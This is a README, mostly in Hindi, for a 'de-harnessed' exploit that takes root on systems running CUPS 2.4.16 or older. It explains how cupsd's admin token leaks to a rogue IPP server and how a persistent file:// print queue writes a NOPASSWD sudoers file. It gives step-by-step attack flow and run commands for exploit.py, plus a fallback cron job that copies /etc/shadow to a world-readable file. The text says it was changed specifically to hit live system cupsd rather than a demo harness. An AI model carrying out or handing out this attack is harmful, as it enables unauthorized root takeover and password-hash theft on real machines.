
रूट `cupsd` के विरुद्ध स्थानीय विशेषाधिकार वृद्धि।
cups2root, डी-हार्नेस्ड)CVSS 3.x : 8.4 HIGH (लगभग — सत्यापित करें)
CWE : CWE-287 (अनुचित प्रमाणीकरण) + CWE-269 (अनुचित विशेषाधिकार प्रबंधन)
Fix : CUPS 2.4.17+
Affects : CUPS ≤ 2.4.16 जिसमें cupsd root के रूप में चल रहा हो और 631 स्थानीय रूप से पहुँच योग्य हो
root cupsd के विरुद्ध स्थानीय विशेषाधिकार वृद्धि। जब इसे एक दुर्भावनापूर्ण स्थानीय सर्वर की ओर एक IPP
client के रूप में कार्य करने के लिए बाध्य किया जाता है, तो cupsd एक 401 WWW-Authenticate: Local
चुनौती का उत्तर अपने ही admin token को पुनः प्रस्तुत करके देता है। उस token को कैप्चर करने से एक
अविशेषाधिकार प्राप्त उपयोगकर्ता cupsd को admin (root) के रूप में संचालित कर सकता है। एक स्थायी file://
प्रिंट कतार (printer-is-temporary=false) FileDevice नीति को बायपास करती है, इसलिए एक raw Print-Job
हमलावर के बाइट्स को root के रूप में किसी भी पथ पर लिखता है — यहाँ एक NOPASSWD sudoers फ़्रैगमेंट।
दो प्रिमिटिव मिलकर मनमानी root फ़ाइल-राइट में बदल जाते हैं:
Local प्रमाणीकरण। cupsd /run/cups/certs/ के अंतर्गत एक root
प्रमाणपत्र द्वारा समर्थित Local प्रमाणीकरण स्वीकार करता है। एक IPP client के रूप में कार्य करते हुए, यह
401 WWW-Authenticate: Local के साथ चुनौती दिए जाने पर उस admin token को स्वेच्छा से प्रस्तुत करता है।
cupsd को आपके नियंत्रण वाले एक नकली IPP सर्वर की ओर इंगित करें और आप एक ऐसा token कैप्चर कर लेते हैं जो इसे root के रूप में संचालित करने के लिए वैध है।device-uri के रूप में file:// डिफ़ॉल्ट रूप से अस्वीकार किया जाता है। कतार को
printer-is-temporary=false के साथ बनाने से यह स्थायी हो जाती है और उस गार्ड को दरकिनार कर देती है; एक raw Print-Job
तब अपने बाइट्स को सीधे लक्ष्य फ़ाइल में, root के रूप में लिखता है। cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> cupsd का स्वयं का admin token है — इसे /admin/ के विरुद्ध पुनः प्रस्तुत करें और आप root-समतुल्य हैं।
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
संदर्भ PoC (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) एक डेमो हार्नेस है: यह
root के रूप में चलता है, अपना स्वयं का cupsd और एक अस्थायी unpriv उपयोगकर्ता उत्पन्न करता है, फिर हमलावर का अनुकरण करने के लिए sudo -u unpriv करता है। जैसा है वैसा अनुपयोगी। परिवर्तन:
127.0.0.1:631 पर पहले से root चल रहे सिस्टम cupsd को लक्षित करता है।$ATTACKER); फ़्रैगमेंट <user> ALL=(ALL) NOPASSWD: ALL।ipptool / lpadmin / lpinfo / cupsctl के बिना पूर्ण पुनर्लेखन| Status | Versions |
|---|---|
| Vulnerable | CUPS ≤ 2.4.16 |
| Fixed | CUPS 2.4.17 and later |
| File | Role |
|---|---|
exploit.py | PoC: token leak → file:// queue → raw Print-Job → sudoers root |
README.md | This file |
केवल Python 3 मानक लाइब्रेरी — कोई निर्भरता नहीं।
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
सफलता पर:
[+] Local token: <token>
[+] ROOT via sudoers
फिर sudo -i।
cupsd को root के रूप में न चलाएँ; विशेषाधिकार छोड़ें / सेवा को सैंडबॉक्स करें।Local प्रमाणीकरण और file:// डिवाइस बैकएंड को प्रतिबंधित करें; स्थायी कतारों के लिए FileDevice नीति लागू रखें।systemctl disable --now cups cups-browsed और पैकेज हटा दें।यह परियोजना केवल अधिकृत सुरक्षा परीक्षण, शिक्षा और रक्षात्मक अनुसंधान के लिए है। लागू कानूनों और अपनी प्रयोगशाला या ग्राहक के एंगेजमेंट नियमों का पालन करने की जिम्मेदारी आपकी है।